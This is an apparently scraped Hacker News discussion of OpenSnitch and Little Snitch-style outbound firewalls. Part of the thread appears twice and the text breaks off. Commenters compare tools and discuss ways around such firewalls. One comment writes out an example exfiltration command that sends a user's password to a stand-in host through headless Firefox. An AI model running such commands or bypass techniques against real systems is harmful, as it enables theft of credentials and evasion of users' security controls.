15 ms·

OpenSnitch is a GNU/Linux port of the Little Snitch application firewall

589 points by LinuxBender 7y ago

kstrauser 7y ago
Little Snitch is one of my favorite apps in the world, and it's one of the very first things I install on any new Mac. For those unfamiliar, it monitors and restricts outbound connections that your applications are trying to make. For example, you might be working away and suddenly get a popup saying: "Chrome is making an outbound TCP connection to adserver.trackallusers.com, port 9876. Do you want to: - Allow or Deny the connection... - To all hosts in the domain trackallusers.com, that specific hostname, or that specific IP address, or all hosts everywhere... - On this port or any port... - Protocol TCP... - Once, or for the next 15 minutes / 1 hour / 2 hours / until I reboot / forever" ...and it will postpone making that connection until you answer. You can set defaults for that popup according to your own preferences, for instance to block by domain name instead of hostname so that "server432.example.com" and "server592.example.com" don't have to be managed separately. When you first run Little Snitch, it's a bit overwhelming. Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you. Soon you have a good coverage of your apps' normal behaviors, and that's where it really shines. For instance, suppose your text editor commonly talks to "updateserver.example.com" to check for app updates. But this morning, it's suddenly trying to chat with "exfiltrator.badhost.ru". Uhh, maybe you want to block that and see what's going on. And my earlier Chrome example isn't an exaggeration. It's surprising how many websites want to connect to ad or tracking servers on nonstandard ports. I actually appreciate that a lot because those connections stick out like sore thumbs and I can permanently deny them. Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer. I'm very happy to see something like it becoming available for my friends using Linux is awesome.
- korethr 7y ago
  I will be curious what kinds of bugs blocking said requests flushes out of various applications. I expect some applications will be built robustly and gracefully accept that adserver.trackallusers.com has suddenly ceased to exist forever, and continue to do what the user expects them to do. But, I will not be surprised if other applications turn out to crash, turn into security vulnerabilities, or throw up annoying popups that say something like, "We use advertisements to pay for this awesome free service we give you. :( Please unblock evil-cabal.org. An assassin has been dispatched to ensure your compliance." Okay, maybe I'm not expecting that last one quite so much, but crashes and breakages are totally plausible, IMO.
  - LinuxBender 7y ago
    There are numerous Mac, Windows and Linux apps that do not behave well when they detect the network is up, but they can not reach a resource. Most of the time I run into these on Windows. Some apps can lock up the desktop until the flow is permitted, but permitting the flow requires the desktop.
  - rraghur 7y ago
    I've had back payment pages fail because of ad blocking with pi hole! Something from dev.visualweboptimizer.com! Had to make an exception
- londons_explore 7y ago
  Why do people use non-standard ports for public internet-facing services? To me it just smells of "we don't have enough public IP's, and still manage our network with port-forwarding rather than a proper application level loadbalancer". That matches my observations that 'ancilery'services frequently seem to be on non-standard ports - like the employee login portal, the company webchat service, the analytics service, etc.
  - closeparen 7y ago
    Old school network engineers are more comfortable with firewall rules and routing tables than nginx configs?
  - shanemhansen 7y ago
    To me it smells of "we are running some random app server as a non-profit user and need to bind to a high numbered port"
    - pests 7y ago
      I didn't know non-profits weren't allowed high number ports! Jk but funny typo.
      - catalogia 7y ago
        I think he actually meant non-prophet, as only the privileged priest caste are allowed to use those lower ports.
  - zozbot234 7y ago
    > we don't have enough public IP's I mean, we kinda knew that already. Port numbers give you a free 16-bit address space per public IP, that's nothing to sneeze at.
  - Thriptic 7y ago
    Security through obscurity is one reason. A lot of script kiddies will blast away at services on well known ports. Simply changing the port off the default cuts down on a lot of script based attacks, inhibits generic port scans, and makes it easier to differentiate a deliberate, human attacker from a script. In this specific case, I don't know. Perhaps rotating through ephemeral ports is done to mess with simple traffic filtering rules on firewalls?
- mrspeaker 7y ago
  Using Little Snitch, and seeing the amount of phoning-home Chrome was doing was my "straw that broke the camels back". It tipped me over the edge: drove me back to Linux, Duck Duck Go, NextDNS (I'm not confident enough to "roll my own), turning everything off on my phone (location services, search helpers etc), and not using software that checks for updates or does the least amount of telemetry (I went from VSCode to Emacs)... favoring anything that doesn't track/use cdns/anything by default: whatever is vaguely usable (no matter how annoying) and tracks the least, wins. I could block it all with Little Snitch - but it's a technical solution to a political problem. I miss a lot of the convenience, and I miss a lot of the slickness/lovely UIs... but Lil' Snitch taught me that that's the price!
  - blattimwind 7y ago
    > NextDNS (I'm not confident enough to "roll my own) - Install knot-resolver - Done.
    - Geezus42 7y ago
      https://pi-hole.net/ https://pi-hole.net/ ?
      - ekianjo 7y ago
        Nextdns does not just block ads.
        rovr138 7y ago
        A quick look on the site seems to simply be different maintained block lists. You can block anything on pi-hole, not just ads. Am I missing something?
  - karmakaze 7y ago
    Maintaining Lil'Snitch's access list whenever apps get updated reminded me that it goes against the reason why I started using MacOS in the first place. It was especially hard to justify when someone else is casually browsing on one my machines and a new connection request pops up.
- c0llision 7y ago
  Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass" http://badwebsite.com/?exfilleddata=usersPass"?
  - m463 7y ago
    You don't whitelist firefox. You whitelist firefox talking to www.foo.com port 80.
    - c0llision 7y ago
      You would need to do that for every domain firefox talks too, which will quickly get annoying, as stated in the original comment: Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you
      - m463 7y ago
        You can set it up to allow/block a site or domain forever. For example, block graph.facebook.com forever. You can also look in the little snitch network monitor and block sites after the fact for the future. It's a lot less tedious if you know the keyboard commands: alt-return denies the connection, and cmd-return allows it.
    - gruez 7y ago
      How are you going to handle CDNs? Are you going to whitelist all the [random letters].cloudfront.net? What about public websites? You can conceivably establish a communications channel over any popular social media site.
      - m463 7y ago
        uMatrix helps with all of this to block domains by name in the browser. I suspect Little Snitch has a sort of hole in it's design. I think the DNS lookups go through before you get the allow/deny dialog box. So your browser might do a dns lookup for user-gruez-jan-2020-in-timbuktu.<random>.trackingjerks.net which would get around little snitch.
- m463 7y ago
  I believe there is one hole in little snitch. Looking up 2020-01-31-user-kstrauser.example.com might cause a DNS lookup to go out, even though little snitch will block the subsequent web traffic to it. I think umatrix helps with that.
  - sk5t 7y ago
    The DNS lookup would be of the form "request PTR record for 128.2.1.2" - this would leak a little info from the nearest recursing resolver, but maybe not enough to be useful to an attacker. I suppose Snitch might conceivably use some other, non-DNS repository like ipinfo.io though.
    - m463 7y ago
      I think I disagree. It would be: - browser looks up 2020-01-31-user-kstrauser.example.com - dns lookup proceeds, returns 128.2.1.2 - browser connects to 128.2.1.2 - little snitch intercepts - little snitch does reverse lookup - dialog box
      - beagle3 7y ago
        I don’t know how little snitch does it, but iirc our old fortinet at the office caches the DNS response for logging, so that no extra reverse dns requests are needed (and if there isn’t a cached one, you have to explicitly ask to look it up when looking at the logs)
        labawi 7y ago
        From a quick look in opensnitch, it should be tracking DNS replies in UDP packets. I don't see it filtering the responses, so spoofing hostnames or even overloading the translation table (memory exhaustion) might be possible, even for network attackers.
        vetinari 7y ago
        It is best effort anyway, just informative. If the app resolves two hostnames (e.g. useful-serivce.cloudprovider.com and malware.cloudprovider.com), that are both at the same ip, and then connects to that ip, which of the hostnames it connects to? Without sniffing Host header (for http) or SNI (for TLS pre-ESNI), it is just a guess.
- kccqzy 7y ago
  It used to be much more useful when apps themselves make connections to their own servers. Nowadays everyone seems to ask nsurlsessiond to make a connection to AWS on port 443.
  - mokus 7y ago
    Any equivalent behavior on Linux could fairly easily be intercepted anyway by adding hooks to the equivalent service process though, right?
- GeekyBear 7y ago
  I will second the notion that setting up your preferences after installing little snitch is a bit overwhelming, especially if it's on a machine where you have installed a lot of software. It's alarming just how much software starts running in the background after a startup, and starts making connections you didn't know about before you ever open a single user application.
- kccqzy 7y ago
  Also I personally also am a huge fan of Little Snitch, I do want to caution everyone who rushes to install that, after all, like all software Little Snitch has bugs, and because it runs in ring 0, any bugs can potentially have annoying consequences, including being exploited by malware. See for example this news report[0] or the DEF CON talk[1]. I personally do use Little Snitch, but this is after consideration of my own privacy desire against risk of security holes being exploited. I personally chose the former. You should personally weigh these and decide. [0]: https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_littlesnitch/ https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_li... [1]: https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Patrick-Wardle-99-Problems-Little-Snitch.pdf https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20pre...
  - labawi 7y ago
    Opensnitch does not run in ring 0, though it does run as root.
    - wadkar 7y ago
      From malware/exploitation perspective, aren’t two the same things?
      - kstrauser 7y ago
        Not really. For instance, there’s a lot of stuff you can’t do as root on a Mac because of SIP. If you’re in the kernel, all bets are off.
  - dmurray 7y ago
    I would think Little Snitch reduces your attack surface enough that it's a strict improvement in security, not just privacy. After all, macOS has bugs too.
- webmobdev 7y ago
  Yeah, Little Snitch is quite popular on Mac. But a much, much cheaper and much easier and simpler to use software is TripMode - https://www.tripmode.ch/ https://www.tripmode.ch/ ... While it is not marketed as an outbound firewall, it does a great job as one. It isn't as sophisticated as Little Snitch and doesn't offer fine-grained levels of filtering but that's a plus for those who are not advanced users - it simply allows or blocks an "app" from connecting to the internet. It can also monitor your bandwidth usage. (The Mac version is very stable, but I found the Windows 10 version to be a bit buggy).
  - ShakataGaNai 7y ago
    So I love TripMode but it's a very different beast. LittleSnitch = I want to monitor every connection every application makes. TripMode = I want to disable Dropbox, Apple Software Update & Steam while on MyPhoneHotspot. That being said, I wish there was an OpenTripMode, or... something on Linux.
    - webmobdev 7y ago
      Yeah, Little Snitch offers fine grained filtering control as it works at the "connection" level monitoring each and every connection, where as TripMode works at the "app" level only and either allows or blocks them from accessing the internet without any regards to the number of "connections" made or to whom the "connection" is made to. And it works on broadband / fibre connections too, and not just for mobile data. (Tip: Private Eye is a free software that allows you to monitor all connections made by any system or application softwares on your Mac. It's now bundled as part of another paid outbound firewall, similar to TripMode, called RadioSilence - https://radiosilenceapp.com/ https://radiosilenceapp.com/ but the free "monitoring only" version of Private Eye can still be found on the net).
  - gxnxcxcx 7y ago
    On the cheaper side on the spectrum but not quite as cheap as TripMode, there is Vallum: https://vallumfirewall.com https://vallumfirewall.com I've been using it for years and the only feature I miss is domain/subdomain blacklisting. If there is no need for such a granular control of outgoing connections for any given application, there's also the no-cost and open-sourced LuLu: https://github.com/objective-see/LuLu https://github.com/objective-see/LuLu
- hi5eyes 7y ago
  > Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer no need, little snitch is one of the most popular programs for power mac users; I've been a fan since at at least 2011
- castillar76 7y ago
  Huge fan of Little Snitch, and I agree: it's been really useful for discovering and shutting down all the telemetry and ad traffic. One thing people don't realize is that you can take many of the popular ad-blocking lists and subscribe to them in Little Snitch! Peter Lowe's Block List, for instance, produces a plain-text format (https://pgl.yoyo.org/adservers/serverlist.php?hostformat=littlesnitch-rule-group-subscriptions&mimetype=plaintext https://pgl.yoyo.org/adservers/serverlist.php?hostformat=lit...) that's perfect: you subscribe to it in Little Snitch, and it automatically blocks everything on the list everywhere, with updates pulled on the regular from the pgl.yoyo.org servers. One frustration I've had lately—and it's not Little Snitch's fault!—is the number of unnamed micro-service endpoints in use. Office365, Dropbox, and others have started using random cloud IPs for their content distribution endpoints, so you get a popup for "OneDrive wants to connect to XXX.YYY.ZZZ.QQQ on port 25427. Allow?" You have no basis for knowing if that IP is legit or not, you can't use the port to judge it, and you know if you cut off too many of them the app will break. Super frustrating, and seems deliberately designed to break things like LS.
  - pgl 7y ago
    Glad you're finding my list useful. There are very few downloads in Little Snitch format per day (419 today so far out of 2.7m accesses).
- sgsvnk 7y ago
  Wow, this should go on the readme. I'm sure this helps a lot of people understand what the app does in simple terms.
- dzhiurgis 7y ago
  Does Little Snitch work as a kernel extension? I use Lulu but it really screws with Virtualbox and generally can really stress kernel if you try to do something very network intensive. Would love to find better alternative, ideally free.
antiuniverse 7y ago
This is neat, but it seems strange to call it a "port" of a closed source proprietary commercial product. It doesn't actually seem to be related beyond also being a firewall with a UI that kinda imitates Little Snitch. I think a better term might be "clone"?
- TwoNineFive 7y ago
  This is correct. This is not a port. I wouldn't even call it a clone. It's more like "inspired by." It's just a Hyperbolic Headline.
  - heavyset_go 7y ago
    > It's just a Hyperbolic Headline. Maybe, but it's effective. I instantly know what it does instead of trying ascertain what makes Yet Another Linux Firewall different from the rest.
    - Wowfunhappy 7y ago
      Then call it a "recreation" of Little Snitch or something. Calling it a "port" is completely inaccurate and misleading. I clicked on this thread thinking the Little Snitch developers must be involved somehow. And If I were the Little Snitch devs, I'd be more than a little annoyed.
    - PhilippGille 7y ago
      > I instantly know what it does And with "clone" you wouldn't?
- bangonkeyboard 7y ago
  I brought this up when the project was a couple of weeks old (the submission title was subsequently changed): https://news.ycombinator.com/item?id=14252406 https://news.ycombinator.com/item?id=14252406 It is annoying that it still calls itself a port three years later.
ChrisMarshallNY 7y ago
Good show! I use Little Snitch for my computer. It really does rat out the apps that want to tell others about me.
boarnoah 7y ago
Neat, really liked the idea of lil snitch. Is the UI a python web app or a Qt desktop app? There's references to both in the readme
- arnado 7y ago
  I think it's a python Qt app. There is also an open issue for tracking a replacement UI in Go
qwerty456127 7y ago
I would even pay for a LittleSnitch clone for Linux if it worked nearly as good as LittleSnitch does.
- m463 7y ago
  it would be nice to have a littlesnitch box for the network
  - qwerty456127 7y ago
    There already are enough powerful network-level firewalls available for Linux. The key feature of LittleSnitch mising on Linux is controlling network activities of particular applications on your computer.
    - mokus 7y ago
      That’s one key feature, but another is the real-time approval UI. I’d love to have that for my other network devices like printers, video game consoles, etc. If I had that I might even consider off-the-shelf “smart home” stuff but for now I just won’t buy any such hardware unless it’s 100% local with wires and/or 802.1X support, and even then I don’t really trust it.
      - qwerty456127 7y ago
        Try Vuurmuur. It's not exactly what you describe but pretty close to that.
    - m463 7y ago
      That's a good point, but I was thinking of the popup message, which could be saved for the future.
parvenu74 7y ago
What is the Windows equivalent of this tool?
- ktta 7y ago
  GlassWire. Non-free though. Any OSS that do this are terrible.
  - 3131s 7y ago
    Including this one then? I assume you've combed through all of github to verify this?
    - ktta 7y ago
      I've tried various apps, including this. Other apps like this too, both on Linux and Windows. On Linux, OpenSnitch and Douane. OpenSnitch is not optimized and results in high CPU usage when you move a lot of traffic. With Douane I had trouble using it for longer than a day since it resulted in my PC crashing caused by the kernel module that it installs. There seemed to be a bug in the C code somewhere, and it didn't go away when I checked back a couple months later. Coming to Windows, most apps were really old. Only some actually worked with Windows 10 where NDIS 6.x came in and broke some things. Those that did work were so basic you could just use the Windows Firewall app. I tried everything I could get my hands on (in a VM) in search of the nice features that LittleSnitch provided. GlassWire was so far ahead in the features and control it provided, I made an exception in buying a subscription based software (which I almost never do)
- aargh_aargh 7y ago
  About 15 years ago this kind of "application firewall" used to be really popular on Windows. IIRC, ZoneAlarm and/or Kerio was really popular? And some Antivirus software also included application firewall. Can't vouch for anything particular these days, though, haven't used such thing for a long time.
  - pdonis 7y ago
ct0 7y ago
I always wondered what the windows equivalent was, knowing how well received the app has been for mac users.
- qwerty456127 7y ago
  There are many, some better, some worse in particular ways. It all began with Outpost firewall during the Windows 98 days, then more alternatives emerged. Kerio Personal Firewall was what I liked the best for Windows XP. Windows 7-10 have surprisingly good firewall built-in, all you need is a good GUI to control it - Windows 10 Firewall Control by Sphinx Software.
- decko 7y ago
  Glasswire is probably the closest equivalent for Windows
- mcyukon 7y ago
  Check out NetLimiter 4 https://www.netlimiter.com/products/nl4 https://www.netlimiter.com/products/nl4 Has the same blocking capabilities, however it is not just install and run like LS is. It needs a little configuring to get it to behave like LS, and (For me) it took a bit till I understood what to turn on and what rules to enable. Once I had the rules setup, it's basically the same. Once an app wants to connect you can let it connect once, until terminated, for forever, to once domain only, or any domain.
- dikei 7y ago
  There's loads of firewall application on Windows: ZoneAlarm, Comodo, Tinywall. Some use their own packets filtering driver, while some are just frontend for Window's built-in firewall. I used to run these for a while, but it gets annoying real fast with large amount of pop-up. So now I stop using them, and only block known bad IPs using my Pi-hole, allowing everything else.
  - tbyehl 7y ago
    > only block known bad IPs using my Pi-hole I'd consider this too nit-picky in most contexts, but we're in a thread about connection-blocking software. PiHole is a DNS server. It cannot block IPs or connections. I'm with you that Little Snitch style filtering gets annoying, but DOH is going to obsolete PiHole / DNS filtering very fast. Can't filter DOH at the gateway without taking on all the other hassles of MITM and can't prevent an app from using whatever DOH server it chooses.
bigcohoneypot 7y ago
Finally
I_am_tiberius 7y ago
Great that this exists. I really like the application. Here are some issues: - There's a countdown when an unknown outgoing connection is discovered - the countdown is currently not being stopped when you focus the countdown window. The countdown is only 15 seconds or so - if the countdown is over, it automatically approves the connection. - Rules cannot be edited via the python interface. There is one config file per rule though. - My computer has been freezing sometimes since I started using it. Not sure but that behavior is related to the tool. - Sometimes high cpu usage. - It would be great of have some kind of rule-set which can be used as a starting point (optionally). - Python interface is slow. Generally not a fan of client applications that are based on Python.
- beagle3 7y ago
  All the defaults are configurable (with a config file, not GUI). I have set it to “default deny” and 60 secs.
gruez 7y ago
Software like this seem like snakeoil to me. They often rely on process paths to identify applications, but that can be easily bypassed by using a reputable/plausible program as a lackey [1], or more sophisticated techniques like process hollowing[2]. Afterwards, they can communicate as the (presumably whitelisted) application. Any host-based rules (if any) can be bypassed by routing internet traffic using "popular" domains (eg. CDNs, social media networks), or by social engineering (eg. triggering a request at the same time as a user action, to make the user think it's something he intended to do). On unsandboxed platforms, you either trust an application completely, or you don't. Tools like little snitch don't turn dangerous programs into safe ones; they only give you a false sense of security. [1] https://news.ycombinator.com/item?id=22207089 https://news.ycombinator.com/item?id=22207089 [2] https://wikileaks.org/ciav7p1/cms/page_3375167.html https://wikileaks.org/ciav7p1/cms/page_3375167.html
- goldenkey 7y ago
  Applications that perform DLL injection or modify PEB or to try ring 0 escalation can already be detected in some forms by heuristic anti virus. Little Snitch is still useful as long as the other bases are covered. Think of security as a whole instead of debunking a utility because it fails to prevent other types of exploitation
  - gruez 7y ago
    >Applications that perform DLL injection or modify PEB or to try ring 0 escalation can already be detected in some forms by heuristic anti virus. Process hollowing is a last resort. You can get pretty far by exploiting chrome/firefox (with their multiprocess architecture), or by using common command line utils like curl/wget. >Think of security as a whole instead of debunking a utility because it fails to prevent other types of exploitation If you understand the limitations, great. However I don't think most users do. As it stands now, using such programs is closer to security by obscurity than any serious security measure (eg. ublock or noscript[1]). The only reason they haven't been bypassed is because the install base is small and isn't worth the effort. [1] technically it's still possible to achieve arbitrary communication and/or code execution, but the blocking features can't be bypassed.
ct520 7y ago
Looking for something similar but on windows, suggestions?
frio 7y ago
I believe the project may be dead -- https://github.com/evilsocket/opensnitch/issues/259 https://github.com/evilsocket/opensnitch/issues/259 -- but I see there has been some activity since then.
- I_am_tiberius 7y ago
  Anyone who wants to contribute is definitely welcome.
- gus_ 7y ago
  Many of the PRs have been added here, plus some other ideas and improvements: https://github.com/gustavo-iniguez-goya/opensnitch https://github.com/gustavo-iniguez-goya/opensnitch
anaphor 7y ago
You could do something like this more efficiently using eBPF I bet. E.g. based on TCPLife https://github.com/iovisor/bcc/blob/master/tools/tcplife.py https://github.com/iovisor/bcc/blob/master/tools/tcplife.py
squarefoot 7y ago
Reminds me of that Windows marvel called Kerio Personal Firewall which allowed to restrict connections for any application, a feature that Linux should have had since forever and is becoming more and more important today. Most Linux FOSS apps may not call home, but closed hosted or emulated ones (through WINE for example) often do.
- rufugee 7y ago
  Um.... contributor, meet open source project. We’re glad you’re here...
- beagle3 7y ago
  Linux does do that, and has since the Kernel 2.2 or so; In fact, opensnitch is a user mode process thanks to Linux allowing that, whereas windows needed drivers last I checked (win 2000 days, but the network driver model was still the same for win 7 and even later iirc)
  - squarefoot 7y ago
    I never knew about that, thanks. I always believed one had to either resort to address/packet filtering at machine level or limit access to networking to a certain uid/gid, then running the software under those credentials. But that would defeat the purpose of allowing access while being warned about that, so that for example one could check if an application is really phoning home for innocuous updates or connecting to some shady addresses for unknown purposes.
  - pjmlp 7y ago
    Windows Filtering Platform also has a user mode component.
    - beagle3 7y ago
      That's good to know. Can it divert, modify and delay packets? Or just have a set of rules for go/no-go?
nathants 7y ago
i wanted something a bit simpler, so forked and reduced. recently dropped path matching except for display in the visual prompt, simple global firewall, inbound and out. as others noted, path matching is quite janky. never saw a use of libnetfilterqueue before this, so hats off to evilsocket. https://github.com/nathants/tinysnitch https://github.com/nathants/tinysnitch
pjmlp 7y ago
Nice to see it implemented in Go instead of C, one more example of systems software.
DavideNL 7y ago
Fun fact: in macOS Little Snitch if you create a separate profile for your VPN interface (as specified with the goal to allow certain apps/traffic only when the VPN is up), circumventing the VPN it is as easy as: curl --interface en0 ifconfig.co In other words, no firewall rules are applied to actually block traffic on the non-VPN interface. Apps are only blocked from accessing the internet when the VPN interface goes down.
beagle3 7y ago
One feature opensnitch has (and I have not seen mentioned here) is that you can run the filter on one device e.g. your openwrt router, and the GUI on your laptop; this is a nice feature that no other “personal” firewall (including the original LittleSnitch) provides - filtering for your iPad and smart tv as well!
chmars 7y ago
Be careful with using Little Snitch etc.: 'Predictably, online discussions about problems with app translocation and Little Snitch usually recommend stripping quarantine flags, and from what I can see, this has become quite widespread practice. Yet – just as in the blog article – no one seems to be concerned that what they are doing is bypassing macOS’s primary security defences.' https://eclecticlight.co/2020/01/26/last-week-on-my-mac-when-more-security-subverts-security/ https://eclecticlight.co/2020/01/26/last-week-on-my-mac-when...
eecc 7y ago
Considering that LittleSnitch is a TM, I don’t expect this project to last long with the current name...
- _-___________-_ 7y ago
  Seems to have lasted quite a while already...
jedisct1 7y ago
I've never been a fan of that kind of application. As a user, it ruins the usability of the operating system. Having alert boxes constantly popping up feels empowering at first, and eventually becomes really annoying and distracting. As a developer, it breaks your application's expectations and is the root cause of hard to diagnose bug reports. People don't understand what they do and end up breaking software updates (making applications less secure) or other applications features.
- eugeniub 7y ago
  As a user, you don’t have to use it. As a developer, you kind of have to just accept users taking back their own privacy and work around it.
- mokus 7y ago
  As a user, the reason I run it is specifically to break certain software “features” like telemetry and automatic updates without consent.
williesleg 7y ago
Love the pihole instead of this stuff.
knolax 7y ago
I'm not too familiar with this but would it be possible to spoof the process command to evade any relevant rules?
adultSwim 7y ago
This project is no longer maintained. https://github.com/evilsocket/opensnitch/issues/259 https://github.com/evilsocket/opensnitch/issues/259
- fruitcake29938 7y ago
  Yeah, I wonder why it appeared on Hacker News today.
- cmroanirgo 7y ago
  > yes, i'm not working on it anymore and i'm not responding to issues, because i lost interest and nobody pays me for this ... if this project is so essential (?), the "Linux community" can fork it and send a PR. https://github.com/evilsocket/opensnitch/issues/259#issuecomment-498604956 https://github.com/evilsocket/opensnitch/issues/259#issuecom...

589 points by LinuxBender 7y ago

Little Snitch is one of my favorite apps in the world, and it's one of the very first things I install on any new Mac. For those unfamiliar, it monitors and restricts outbound connections that your applications are trying to make. For example, you might be working away and suddenly get a popup saying: "Chrome is making an outbound TCP connection to adserver.trackallusers.com, port 9876. Do you want to: - Allow or Deny the connection... - To all hosts in the domain trackallusers.com, that specific hostname, or that specific IP address, or all hosts everywhere... - On this port or any port... - Protocol TCP... - Once, or for the next 15 minutes / 1 hour / 2 hours / until I reboot / forever" ...and it will postpone making that connection until you answer. You can set defaults for that popup according to your own preferences, for instance to block by domain name instead of hostname so that "server432.example.com" and "server592.example.com" don't have to be managed separately. When you first run Little Snitch, it's a bit overwhelming. Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you. Soon you have a good coverage of your apps' normal behaviors, and that's where it really shines. For instance, suppose your text editor commonly talks to "updateserver.example.com" to check for app updates. But this morning, it's suddenly trying to chat with "exfiltrator.badhost.ru". Uhh, maybe you want to block that and see what's going on. And my earlier Chrome example isn't an exaggeration. It's surprising how many websites want to connect to ad or tracking servers on nonstandard ports. I actually appreciate that a lot because those connections stick out like sore thumbs and I can permanently deny them. Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer. I'm very happy to see something like it becoming available for my friends using Linux is awesome.

korethr 7y ago
I will be curious what kinds of bugs blocking said requests flushes out of various applications. I expect some applications will be built robustly and gracefully accept that adserver.trackallusers.com has suddenly ceased to exist forever, and continue to do what the user expects them to do. But, I will not be surprised if other applications turn out to crash, turn into security vulnerabilities, or throw up annoying popups that say something like, "We use advertisements to pay for this awesome free service we give you. :( Please unblock evil-cabal.org. An assassin has been dispatched to ensure your compliance." Okay, maybe I'm not expecting that last one quite so much, but crashes and breakages are totally plausible, IMO.
- LinuxBender 7y ago
  There are numerous Mac, Windows and Linux apps that do not behave well when they detect the network is up, but they can not reach a resource. Most of the time I run into these on Windows. Some apps can lock up the desktop until the flow is permitted, but permitting the flow requires the desktop.
- rraghur 7y ago
  I've had back payment pages fail because of ad blocking with pi hole! Something from dev.visualweboptimizer.com! Had to make an exception
londons_explore 7y ago
Why do people use non-standard ports for public internet-facing services? To me it just smells of "we don't have enough public IP's, and still manage our network with port-forwarding rather than a proper application level loadbalancer". That matches my observations that 'ancilery'services frequently seem to be on non-standard ports - like the employee login portal, the company webchat service, the analytics service, etc.
- closeparen 7y ago
  Old school network engineers are more comfortable with firewall rules and routing tables than nginx configs?
- shanemhansen 7y ago
  To me it smells of "we are running some random app server as a non-profit user and need to bind to a high numbered port"
  - pests 7y ago
    I didn't know non-profits weren't allowed high number ports! Jk but funny typo.
    - catalogia 7y ago
      I think he actually meant non-prophet, as only the privileged priest caste are allowed to use those lower ports.
- zozbot234 7y ago
  > we don't have enough public IP's I mean, we kinda knew that already. Port numbers give you a free 16-bit address space per public IP, that's nothing to sneeze at.
- Thriptic 7y ago
  Security through obscurity is one reason. A lot of script kiddies will blast away at services on well known ports. Simply changing the port off the default cuts down on a lot of script based attacks, inhibits generic port scans, and makes it easier to differentiate a deliberate, human attacker from a script. In this specific case, I don't know. Perhaps rotating through ephemeral ports is done to mess with simple traffic filtering rules on firewalls?
mrspeaker 7y ago
Using Little Snitch, and seeing the amount of phoning-home Chrome was doing was my "straw that broke the camels back". It tipped me over the edge: drove me back to Linux, Duck Duck Go, NextDNS (I'm not confident enough to "roll my own), turning everything off on my phone (location services, search helpers etc), and not using software that checks for updates or does the least amount of telemetry (I went from VSCode to Emacs)... favoring anything that doesn't track/use cdns/anything by default: whatever is vaguely usable (no matter how annoying) and tracks the least, wins. I could block it all with Little Snitch - but it's a technical solution to a political problem. I miss a lot of the convenience, and I miss a lot of the slickness/lovely UIs... but Lil' Snitch taught me that that's the price!
- blattimwind 7y ago
  > NextDNS (I'm not confident enough to "roll my own) - Install knot-resolver - Done.
  - Geezus42 7y ago
    https://pi-hole.net/ https://pi-hole.net/ ?
    - ekianjo 7y ago
      Nextdns does not just block ads.
      - rovr138 7y ago
        A quick look on the site seems to simply be different maintained block lists. You can block anything on pi-hole, not just ads. Am I missing something?
- karmakaze 7y ago
  Maintaining Lil'Snitch's access list whenever apps get updated reminded me that it goes against the reason why I started using MacOS in the first place. It was especially hard to justify when someone else is casually browsing on one my machines and a new connection request pops up.
c0llision 7y ago
Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass" http://badwebsite.com/?exfilleddata=usersPass"?
- m463 7y ago
  You don't whitelist firefox. You whitelist firefox talking to www.foo.com port 80.
  - c0llision 7y ago
    You would need to do that for every domain firefox talks too, which will quickly get annoying, as stated in the original comment: Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you
    - m463 7y ago
      You can set it up to allow/block a site or domain forever. For example, block graph.facebook.com forever. You can also look in the little snitch network monitor and block sites after the fact for the future. It's a lot less tedious if you know the keyboard commands: alt-return denies the connection, and cmd-return allows it.
  - gruez 7y ago
    How are you going to handle CDNs? Are you going to whitelist all the [random letters].cloudfront.net? What about public websites? You can conceivably establish a communications channel over any popular social media site.
    - m463 7y ago
      uMatrix helps with all of this to block domains by name in the browser. I suspect Little Snitch has a sort of hole in it's design. I think the DNS lookups go through before you get the allow/deny dialog box. So your browser might do a dns lookup for user-gruez-jan-2020-in-timbuktu.<random>.trackingjerks.net which would get around little snitch.
m463 7y ago
I believe there is one hole in little snitch. Looking up 2020-01-31-user-kstrauser.example.com might cause a DNS lookup to go out, even though little snitch will block the subsequent web traffic to it. I think umatrix helps with that.
- sk5t 7y ago
  The DNS lookup would be of the form "request PTR record for 128.2.1.2" - this would leak a little info from the nearest recursing resolver, but maybe not enough to be useful to an attacker. I suppose Snitch might conceivably use some other, non-DNS repository like ipinfo.io though.
  - m463 7y ago
    I think I disagree. It would be: - browser looks up 2020-01-31-user-kstrauser.example.com - dns lookup proceeds, returns 128.2.1.2 - browser connects to 128.2.1.2 - little snitch intercepts - little snitch does reverse lookup - dialog box
    - beagle3 7y ago
      I don’t know how little snitch does it, but iirc our old fortinet at the office caches the DNS response for logging, so that no extra reverse dns requests are needed (and if there isn’t a cached one, you have to explicitly ask to look it up when looking at the logs)
      - labawi 7y ago
        From a quick look in opensnitch, it should be tracking DNS replies in UDP packets. I don't see it filtering the responses, so spoofing hostnames or even overloading the translation table (memory exhaustion) might be possible, even for network attackers.
        vetinari 7y ago
        It is best effort anyway, just informative. If the app resolves two hostnames (e.g. useful-serivce.cloudprovider.com and malware.cloudprovider.com), that are both at the same ip, and then connects to that ip, which of the hostnames it connects to? Without sniffing Host header (for http) or SNI (for TLS pre-ESNI), it is just a guess.
kccqzy 7y ago
It used to be much more useful when apps themselves make connections to their own servers. Nowadays everyone seems to ask nsurlsessiond to make a connection to AWS on port 443.
- mokus 7y ago
  Any equivalent behavior on Linux could fairly easily be intercepted anyway by adding hooks to the equivalent service process though, right?
GeekyBear 7y ago
I will second the notion that setting up your preferences after installing little snitch is a bit overwhelming, especially if it's on a machine where you have installed a lot of software. It's alarming just how much software starts running in the background after a startup, and starts making connections you didn't know about before you ever open a single user application.
kccqzy 7y ago
